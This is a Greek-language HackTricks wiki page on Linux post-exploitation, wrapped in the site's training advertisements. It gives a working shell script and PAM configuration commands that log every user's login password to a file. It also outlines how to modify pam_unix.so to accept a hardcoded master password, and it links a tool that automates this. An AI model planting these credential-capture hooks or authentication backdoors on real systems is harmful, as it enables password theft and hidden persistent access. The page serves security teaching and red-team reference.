Linux Post-Exploitation
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Sniffing Logon Passwords with PAM
Ας ρυθμίσουμε ένα module PAM για να καταγράφει κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε:
PAM - Pluggable Authentication Modules
Για περισσότερες λεπτομέρειες, ελέγξτε την αρχική ανάρτηση. Αυτό είναι απλώς μια περίληψη:
Επισκόπηση Τεχνικής: Τα Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση της αυθεντικοποίησης σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες σύνδεσης, αλλά επίσης ενδέχεται να θέσουν κινδύνους αν χρησιμοποιηθούν λανθασμένα. Αυτή η περίληψη περιγράφει μια τεχνική για την καταγραφή διαπιστευτηρίων σύνδεσης χρησιμοποιώντας το PAM, μαζί με στρατηγικές μετριασμού.
Καταγραφή Διαπιστευτηρίων:
- Ένα script bash με όνομα
toomanysecrets.sh
έχει δημιουργηθεί για να καταγράφει τις προσπάθειες σύνδεσης, καταγράφοντας την ημερομηνία, το όνομα χρήστη ($PAM_USER
), τον κωδικό πρόσβασης (μέσω stdin) και τη διεύθυνση IP του απομακρυσμένου υπολογιστή ($PAM_RHOST
) στο/var/log/toomanysecrets.log
. - Το script καθίσταται εκτελέσιμο και ενσωματώνεται στη ρύθμιση PAM (
common-auth
) χρησιμοποιώντας το modulepam_exec.so
με επιλογές για ήσυχη εκτέλεση και έκθεση του διαπιστευτηρίου αυθεντικοποίησης στο script. - Η προσέγγιση δείχνει πώς ένας παραβιασμένος Linux host μπορεί να εκμεταλλευτεί για να καταγράψει διαπιστευτήρια διακριτικά.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Για περισσότερες λεπτομέρειες, ελέγξτε την αρχική ανάρτηση. Αυτό είναι απλώς μια περίληψη:
Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται κάτω από το Linux για την αυθεντικοποίηση χρηστών. Λειτουργεί σε τρία κύρια concepts: όνομα χρήστη, κωδικός πρόσβασης και υπηρεσία. Τα αρχεία ρύθμισης παραμέτρων για κάθε υπηρεσία βρίσκονται στον κατάλογο /etc/pam.d/
, όπου οι κοινές βιβλιοθήκες διαχειρίζονται την αυθεντικοποίηση.
Στόχος: Τροποποιήστε το PAM για να επιτρέψετε την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό πρόσβασης του χρήστη. Αυτό εστιάζει ιδιαίτερα στη κοινή βιβλιοθήκη pam_unix.so
που χρησιμοποιείται από το αρχείο common-auth
, το οποίο περιλαμβάνεται σχεδόν σε όλες τις υπηρεσίες για την επαλήθευση κωδικών πρόσβασης.
Βήματα για την Τροποποίηση του pam_unix.so
:
- Εντοπίστε την Κατεύθυνση Αυθεντικοποίησης στο αρχείο
common-auth
:
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού πρόσβασης ενός χρήστη καλεί το
pam_unix.so
.
- Τροποποιήστε τον Πηγαίο Κώδικα:
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα
pam_unix_auth.c
που παραχωρεί πρόσβαση αν χρησιμοποιηθεί ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά, προχωρά στη συνήθη διαδικασία αυθεντικοποίησης.
- Ανασυγκροτήστε και Αντικαταστήστε τη τροποποιημένη βιβλιοθήκη
pam_unix.so
στον κατάλληλο κατάλογο. - Δοκιμή:
- Η πρόσβαση παραχωρείται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό πρόσβασης, ενώ οι κανονικές διαδικασίες αυθεντικοποίησης παραμένουν ανεπηρέαστες.
note
Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με https://github.com/zephrax/linux-pam-backdoor
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.